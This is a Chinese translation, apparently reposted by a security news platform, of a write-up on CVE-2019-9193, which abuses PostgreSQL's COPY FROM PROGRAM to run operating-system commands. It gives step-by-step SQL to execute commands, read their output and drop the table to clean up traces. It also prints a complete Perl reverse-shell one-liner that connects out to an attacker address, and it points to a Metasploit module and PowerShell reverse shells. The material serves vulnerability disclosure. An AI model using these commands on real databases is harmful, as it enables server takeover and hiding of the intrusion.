PostgreSQL(从版本9.3至11.2)任意命令执行漏洞(CVE-2019-9193)
PostgreSQL,俗称Postgres,是世界上最受欢迎的数据库系统之一。它是Mac OSX系统的主力数据库,同时也有Linux和Windows版本。
在这篇文章中,我将展示一个Postgres上鲜为人知的“功能”(CVE-2019-9193),它能使某些数据库用户利用Postgres实现任意代码执行。这个漏洞几乎影响了PostgreSQL的所有版本(从9.3到最新的11.2),同时也影响了所有的操作系统:Windows,Linux和Mac。
从版本
9.3
开始,Postgres新增了一个“
COPY TO/FROM PROGRAM
”功能。这个功能简单来说就是允许数据库的超级用户以及
pg_read_server_files
组中的任何用户执行操作系统命令。这就意味着数据库的超级用户与运行数据库的用户在操作系统上拥有相同的权限。
这种缺乏权限分离的设定,我们早在2000年左右就能看到,例如,
Microsoft SQL Server
在默认情况下会启用了
xp_cmdshell
功能。直到
Microsoft SQL Server 2005
,这种不合理的设定才被修复。但有趣的是,相同的错误似乎一直在不停重复。
这种错误/缺陷/功能/漏洞介于提权和任意代码执行之间,因为在利用它之前需要数据库的某种身份验证。当然,攻击者也有可能通过SQL注入来实现。无论哪种情况,只有超级用户或具有“pg_read_server_files”权限的用户都才能执行系统命令。
要执行这种攻击,可按照以下步骤操作:
1)[可选]删除你想使用但已存在的表
DROP TABLE IF EXISTS cmd_exec;
2)创建保存系统命令输出的表
CREATE TABLE cmd_exec(cmd_output text);
3)通过
COPY FROM PROGRAM
功能运行系统命令
COPY cmd_exec FROM PROGRAM 'id';
4)[可选]查看结果
SELECT * FROM cmd_exec;
5)[可选]清理痕迹
DROP TABLE IF EXISTS cmd_exec;
注意,原本命令中的任何单引号都必须转换为双引号才能正常生效,例如,如果要运行命令:
echo 'hello';
你需要将它整个放置在单引号内,然后用双引号替换所有内部所有的单引号:
'echo "hello";'
我已在Postgres可运行的所有操作系统上进行了测试,都以反弹回一个shell为目标,这个shell的权限如下:
Windows - NT AUTHORITY/NETWORK SERVICE (低权限)
Linux - postgres (低权限)
Mac - 安装postgres的用户的权限 (通常是管理员权限)
在Linux和Mac OSX系统下通常可以利用perl语言实现反弹shell,命令如下:
COPY files FROM PROGRAM 'perl -MIO -e "$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.0.104:80");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;"';
当然,我还有更简单的方法。我制作了一个新的
me tasploit模块
(尽快合并到
主框架
中)来实现远程控制,原本的
postgres_payload
模块只能在版本8之前生效。我的
postgres_cmd_execution_nine_three.rb
会自动执行上述所有操作,当然,你必须提供有效的数据库凭据,且具有如上所述权限。如果是SQL注入的情况,那你就只能手动操作了。
如果目标是Windows系统,
NETWORK SERVICE
权限的用户似乎不具有写权限,但我们仍然可以利用PowerShell来反弹回shell。我们可以使用me tasploit来生成Powershell编写的反弹shell语句,再带入上述模块中的
COMMAND
变量。请注意,要使用反斜杠来转义单引号。
希望我的研究能对你有用。
本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场
来源: PostgreSQL(从版本9.3至11.2)任意命令执行漏洞(CVE-2019-9193)|NOSEC安全讯息平台 - NOSEC.ORG
白帽汇从事信息安全,专注于安全大数据、企业威胁情报。
公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。
为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。